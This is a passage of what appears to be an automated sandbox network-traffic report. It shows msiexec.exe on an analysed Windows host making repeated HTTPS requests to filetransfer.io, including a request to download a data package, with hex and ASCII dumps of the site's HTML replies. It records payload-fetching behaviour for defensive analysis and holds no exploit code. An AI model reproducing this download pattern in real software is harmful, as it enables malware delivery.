2025-01-10 19:14:54 UTC	613	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:54 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:54 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QeMYXYO8VXMm%2FOAeeOjmN0Be4fhADqju9hfacA6VMi9yuapIDPEHuvp1h22zy0ZXXYeAuS6UTgF1z7klV4c%2BmFDo1gvXC0yy8gTAOIyeh3dQfM7lgvPPkOysmVAuPGcF9nA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe21ff750f59-EWR
2025-01-10 19:14:54 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	57977	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:54 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:55 UTC	940	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: mPp07Jt3RksovRIJsiZDeM0st31GyP3XevYYiZu28emuL+ha0J5XP4qQ1llQJs4hNhZo9ZDFpgk= x-amz-request-id: 6V8M32SC9H4EESV7 Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uDRlMTHDLRTmuUQXiCGQ2jqwTsuJZotrbK6KuwfssEUch6p0hwymny46jJ9oQA%2FbIRFRV2hHruzwBarg389bJ8kFBUsypITojm2lZnTFXytZ75RMS9fpfTVA7iydT31Q6zw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe260aab428b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1599&rtt_var=609&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1782661&cwnd=240&unsent_bytes=0&cid=b40be1e5006e8c4f&ts=223&x=0"
2025-01-10 19:14:55 UTC	429	IN	Data Raw: 32 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2cad<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:55 UTC	1369	IN	Data Raw: 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 Data Ascii: arset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:description"
2025-01-10 19:14:55 UTC	1369	IN	Data Raw: 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b Data Ascii: con-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><link
2025-01-10 19:14:55 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e Data Ascii: <meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="website">
2025-01-10 19:14:55 UTC	1369	IN	Data Raw: 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 20 3d 20 22 Data Ascii: of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave = "
2025-01-10 19:14:55 UTC	1369	IN	Data Raw: 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e 74 72 79 2e Data Ascii: me.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sentry.
2025-01-10 19:14:55 UTC	1369	IN	Data Raw: 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 Data Ascii: to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:14:55 UTC	1369	IN	Data Raw: 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f 76 65 2d 66 69 6c 65 25 32 46 5f 5f 6f 77 6e 65 72 43 6f 64 65 5f 5f 5f 5f 5f Data Ascii: ion class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremove-file%2F__ownerCode_____
2025-01-10 19:14:55 UTC	1369	IN	Data Raw: 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 2d 62 79 74 65 73 22 3e 3c 2f 73 70 61 6e 3e 2e 0a 09 09 09 09 09 3c 61 20 68 Data Ascii: </div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max-bytes"></span>.<a h
2025-01-10 19:14:55 UTC	64	IN	Data Raw: 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: lert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	57978	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:56 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:56 UTC	621	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:56 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:56 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YZn25X0QG0Qr96S5RYVrFKGMNeurZmD44kp58cGm64B49eGg3zPLoDftFXz7biqPP%2FwzPkIh8%2FXqW%2FUkGUwDSNn0m86TNJXHlmzpWmiNflLer%2Bawn%2Fc5%2BJJm8fttupktPPw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe2dcd3718ea-EWR
2025-01-10 19:14:56 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	57979	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:56 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:56 UTC	970	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: hX4y7IZ2R2KwQaNTP8MXetCViBa1r0Ka5tGbnuZgrytKldI/CEZxc/eWmUcnjRnSWuzV0/zeA7T+py/sJ1Z2ixDoe6YKM29o x-amz-request-id: Z4T6EATPTANP0XTC Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tz9Qbh0EHLo0%2B4V%2BUDPj8LwM9HHmSMiQ5PtRQjUVMHtMa0ri%2FvD10NtfnhzvR1%2FSnhPF71p0%2BJKaS8q%2FZrEPo4PswEnaVaC2FheACLTauLgMSSvN5pdEcx1m4RlHTSAe3DI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe319ff88c65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1922&min_rtt=1881&rtt_var=789&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1318284&cwnd=209&unsent_bytes=0&cid=04f85f4fbad837eb&ts=191&x=0"
2025-01-10 19:14:56 UTC	1369	IN	Data Raw: 32 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2cad<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:56 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:14:56 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:14:56 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:14:56 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:14:56 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 